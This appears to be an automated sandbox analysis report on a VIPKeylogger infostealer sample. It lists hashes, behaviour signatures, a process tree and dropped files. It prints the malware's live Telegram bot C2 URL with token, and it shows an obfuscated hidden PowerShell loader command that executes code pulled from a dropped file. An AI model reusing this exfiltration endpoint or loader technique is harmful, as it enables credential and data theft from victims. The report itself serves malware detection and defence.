Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-01-2025 05:58

General

  • Target

    f459c492671666638899a5c5d716538ecff3516338e5cea64e5d53fa421ec2ba.exe

  • Size

    560KB

  • MD5

    21eb0bfd14e8ab29a3c29d5b60ee09e1

  • SHA1

    9cff284042166495e20428500545b99330a1a9c8

  • SHA256

    f459c492671666638899a5c5d716538ecff3516338e5cea64e5d53fa421ec2ba

  • SHA512

    cf0d15a179940c800cb669384a0874200650b0da7b8db58c3e1a8cf87cb5d3ac5953a10c68366436917812f24d32a7f12506831294bec53b6e41ed8a7b1a56e8

  • SSDEEP

    12288:n93jlz5CwkzUf1DYt/itWe7NAZSfR6IWAKsbk1B8B:n93jlzcxzUf9S6tx7mWKNeoiB

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7808466522:AAFleMCkdYBjkW3SQRMH5osM11THNEIFjRA/sendMessage?chat_id=7161037710

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 10 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f459c492671666638899a5c5d716538ecff3516338e5cea64e5d53fa421ec2ba.exe
    "C:\Users\Admin\AppData\Local\Temp\f459c492671666638899a5c5d716538ecff3516338e5cea64e5d53fa421ec2ba.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2456
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Reglair=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Peltandra.Ove';$Kursuslreren=$Reglair.SubString(51728,3);.$Kursuslreren($Reglair) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4804
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1724

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\justifikationssager.lnk

    Filesize

    756B

    MD5

    0ba256d4102dcbe85799512d258d89f8

    SHA1

    554af9e9adcf584dcdd787e95086f7ddb0f98652

    SHA256

    0bf8cfedc6b9dfa185bb2ca1648bbe44c76a5605c459d1a7cf7162c8e3c9b227

    SHA512

    e98167b0043881e0da48d10c66044d8a3cfe48d9076fa26477bc239c1b5c21734bef91e8a3ccde75d1c22f48578712987cff510c0e39f36548788850dfd1a258

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22vghb4y.0z2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsf85AD.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    b648c78981c02c434d6a04d4422a6198

    SHA1

    74d99eed1eae76c7f43454c01cdb7030e5772fc2

    SHA256

    3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

    SHA512

    219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

  • C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Nondecreasing.Vgt

    Filesize

    336KB

    MD5

    8fb7148f8dbda5b61030f3dfb6d7fa25

    SHA1

    da981906695b80ce5e6c8f7e20e945e6a0899aa7

    SHA256

    f3266f0aa22192f9e01248a771505a0fe3c05ff63fc7a88ce56ade7d7af20903

    SHA512

    edf1b8a264fa98131933f3a5c734bbf1631941f648eeb89742c0c6cd43225d67bf99c221e7b23817a0c9f6de1f54887f4d1650db9805c459dbab007f1e5f514b

  • C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Peltandra.Ove

    Filesize

    66KB

    MD5

    ea1e2a9f4de28839b57fe9978897843c

    SHA1

    b012c5ac62dbc1657062674e6ff102a2209ae777

    SHA256

    7c6bbb62d20bb41ff822a460afcc6cd4dc670453aa333558db29d53b7e6bb027

    SHA512

    ba127e3e91c4e233e778abdd86e59b5272023c99ed0c069361e3ae0b8d4e65a7d3f57887af7bb714f50df22572cb845088b67f4184254e6155bd196adc42537a

  • memory/1724-118-0x0000000022AF0000-0x000000002301C000-memory.dmp

    Filesize

    5.2MB

  • memory/1724-117-0x0000000021C10000-0x0000000021C60000-memory.dmp

    Filesize

    320KB

  • memory/1724-116-0x00000000223F0000-0x00000000225B2000-memory.dmp

    Filesize

    1.8MB

  • memory/1724-114-0x0000000021760000-0x00000000217FC000-memory.dmp

    Filesize

    624KB

  • memory/1724-112-0x00000000008E0000-0x0000000001B34000-memory.dmp

    Filesize

    18.3MB

  • memory/1724-113-0x00000000008E0000-0x000000000092A000-memory.dmp

    Filesize

    296KB

  • memory/1724-111-0x00000000008E0000-0x0000000001B34000-memory.dmp

    Filesize

    18.3MB

  • memory/4804-76-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-83-0x00000000080B0000-0x00000000080D4000-memory.dmp

    Filesize

    144KB

  • memory/4804-55-0x0000000006DE0000-0x0000000006DFA000-memory.dmp

    Filesize

    104KB

  • memory/4804-56-0x0000000006E50000-0x0000000006E72000-memory.dmp

    Filesize

    136KB

  • memory/4804-57-0x0000000008140000-0x00000000086E4000-memory.dmp

    Filesize

    5.6MB

  • memory/4804-53-0x0000000006970000-0x00000000069BC000-memory.dmp

    Filesize

    304KB

  • memory/4804-59-0x0000000008D70000-0x00000000093EA000-memory.dmp

    Filesize

    6.5MB

  • memory/4804-60-0x0000000007CF0000-0x0000000007D22000-memory.dmp

    Filesize

    200KB

  • memory/4804-61-0x0000000070EC0000-0x0000000070F0C000-memory.dmp

    Filesize

    304KB

  • memory/4804-63-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-72-0x0000000007D30000-0x0000000007D4E000-memory.dmp

    Filesize

    120KB

  • memory/4804-73-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-74-0x0000000007D60000-0x0000000007E03000-memory.dmp

    Filesize

    652KB

  • memory/4804-75-0x0000000007E60000-0x0000000007E6A000-memory.dmp

    Filesize

    40KB

  • memory/4804-52-0x00000000068B0000-0x00000000068CE000-memory.dmp

    Filesize

    120KB

  • memory/4804-77-0x0000000007FE0000-0x0000000007FF1000-memory.dmp

    Filesize

    68KB

  • memory/4804-78-0x0000000008030000-0x000000000803E000-memory.dmp

    Filesize

    56KB

  • memory/4804-79-0x0000000008040000-0x0000000008054000-memory.dmp

    Filesize

    80KB

  • memory/4804-80-0x0000000008080000-0x000000000809A000-memory.dmp

    Filesize

    104KB

  • memory/4804-81-0x0000000008070000-0x0000000008078000-memory.dmp

    Filesize

    32KB

  • memory/4804-82-0x0000000008080000-0x00000000080AA000-memory.dmp

    Filesize

    168KB

  • memory/4804-54-0x00000000078D0000-0x0000000007966000-memory.dmp

    Filesize

    600KB

  • memory/4804-84-0x00000000750AE000-0x00000000750AF000-memory.dmp

    Filesize

    4KB

  • memory/4804-85-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-86-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-87-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-88-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-51-0x00000000063B0000-0x0000000006704000-memory.dmp

    Filesize

    3.3MB

  • memory/4804-90-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-91-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-93-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-92-0x00000000093F0000-0x000000000B3F4000-memory.dmp

    Filesize

    32.0MB

  • memory/4804-94-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-95-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-97-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-98-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-41-0x0000000006240000-0x00000000062A6000-memory.dmp

    Filesize

    408KB

  • memory/4804-40-0x0000000006160000-0x00000000061C6000-memory.dmp

    Filesize

    408KB

  • memory/4804-39-0x0000000005A40000-0x0000000005A62000-memory.dmp

    Filesize

    136KB

  • memory/4804-38-0x0000000005B30000-0x0000000006158000-memory.dmp

    Filesize

    6.2MB

  • memory/4804-37-0x00000000750A0000-0x0000000075850000-memory.dmp

    Filesize

    7.7MB

  • memory/4804-36-0x0000000003310000-0x0000000003346000-memory.dmp

    Filesize

    216KB

  • memory/4804-35-0x00000000750AE000-0x00000000750AF000-memory.dmp

    Filesize

    4KB